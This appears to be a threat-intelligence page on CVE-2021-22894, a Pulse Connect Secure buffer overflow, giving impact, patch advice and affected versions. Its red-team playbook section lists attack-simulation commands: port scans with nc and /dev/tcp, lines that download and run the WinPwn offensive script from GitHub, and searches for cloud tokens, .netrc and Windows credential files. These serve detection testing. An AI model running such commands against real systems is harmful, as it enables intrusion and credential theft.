CVE-2021-22894
Overview
This vulnerability is a buffer overflow caused by improper bounds checking in the handling of meeting room data within Pulse Connect Secure versions prior to 9.1R11.4. The flaw exists in the meeting room management component, where crafted input exceeding buffer limits leads to memory corruption. The root cause lies in inadequate validation of input size before copying data into fixed-length buffers, enabling overflow conditions.
Vulnerability Description
A buffer overflow vulnerability exists in Pulse Connect Secure before 9.1R11.4 allows a remote authenticated attacker to execute arbitrary code as the root user via maliciously crafted meeting room.
Impact
An attacker with valid user credentials can exploit this vulnerability to execute arbitrary code with root privileges on the affected system. This enables full system compromise, including unauthorized access to sensitive data, manipulation of system configurations, and potential lateral movement within the network. The attack requires authentication but no user interaction beyond submitting crafted meeting room data. Successful exploitation can result in complete loss of confidentiality, integrity, and availability of the Pulse Connect Secure appliance and connected resources.
Solution
Ivanti has released security advisory SA44784 addressing this vulnerability. Users should upgrade Pulse Connect Secure to version 9.1R11.4 or later to remediate the issue. Detailed patch instructions and additional mitigation guidance are available at https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/. Applying the recommended update is the primary remediation step; no alternative workarounds are specified in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A buffer overflow vulnerability has been identified in Pulse Connect Secure versions prior to 9.1R11.4, which allows an authenticated remote attacker to execute arbitrary code with root privileges. This vulnerability arises from improper handling of input data, specifically within the context of crafted meeting room configurations. When an attacker sends specially constructed data to the affected system, it can lead to memory corruption, allowing the attacker to overwrite critical areas of memory. This exploitation can result in the execution of malicious code, potentially leading to full system compromise.
The primary attack vector involves authenticated users leveraging the vulnerability to manipulate meeting room settings. Since the attacker needs to be authenticated, the risk is somewhat mitigated compared to unauthenticated exploits. However, if an attacker gains access to a legitimate user account, they can exploit this vulnerability to escalate their privileges and execute arbitrary commands as the root user. This scenario is particularly concerning in environments where user accounts may be compromised through phishing or credential theft, allowing attackers to bypass traditional security measures.
The real-world impact of this vulnerability is significant, particularly for organizations relying on Pulse Connect Secure for secure remote access. The ability to execute arbitrary code as a root user can lead to unauthorized access to sensitive data, disruption of services, and potential damage to the organization's reputation. Businesses could face regulatory penalties if sensitive information is compromised, and the financial implications of remediation efforts, including incident response and system recovery, can be substantial. Additionally, the exploitation of this vulnerability could serve as a foothold for further attacks within the organization, leading to a broader security breach.
To detect and mitigate this vulnerability, organizations should prioritize updating their Pulse Connect Secure installations to the latest version, specifically 9.1R11.4 or later, where the issue has been addressed. Regular vulnerability assessments and penetration testing can help identify potential exploitation scenarios and weaknesses in the system. Employing network segmentation and strict access controls can also limit the potential impact of an exploit. Furthermore, organizations should implement robust monitoring solutions to detect unusual activities that may indicate an attempted exploitation of this vulnerability, such as unauthorized changes to meeting room configurations or unexpected system behavior.
In conclusion, the buffer overflow vulnerability in Pulse Connect Secure represents a critical risk that organizations must address promptly. By understanding the technical details, potential attack vectors, and real-world implications, cybersecurity professionals can better prepare their defenses. Proactive measures, including timely updates and comprehensive monitoring, are essential to mitigate the risks associated with this vulnerability and protect sensitive organizational assets from malicious actors.
CSURFACE threat intelligence has detected a substantial increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2021-22894, rising by nearly 70% to a current level that places it in the 98th percentile of exploit likelihood. This upward adjustment reflects growing confidence in the vulnerability’s exploitability, likely driven by increased attacker interest or improved exploit techniques, despite no new public exploit details being reported. The heightened EPSS score signals an elevated risk that threat actors may prioritize this vulnerability for targeted attacks, particularly given its high severity and root-level code execution potential. Consequently, defenders should recognize that the threat landscape around Pulse Connect Secure has intensified, warranting increased vigilance in monitoring and detection efforts. While ransomware use remains unconfirmed, the alignment with CISA’s directive deadlines underscores the criticality of timely remediation. Overall, this development raises the urgency of addressing CVE-2021-22894 as it now presents a more imminent exploitation threat than previously assessed.
Affected Products (40)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:-:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r1.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r2.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.2:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.3:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r3.5:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r4.1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r5.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.0 |
cpe:2.3:a:ivanti:connect_secure:9.0:r6.0:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:-:*:*:*:*:*:*
|
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Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r1:*:*:*:*:*:*
|
|
|
Ivanti | Connect Secure | 9.1 |
cpe:2.3:a:ivanti:connect_secure:9.1:r10.0:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-22894 |
| kb.pulsesecure.net |
GitHub CVE
x_refsource_MISC
|
https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784/?kA23Z000000boUWSAY |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-22894 |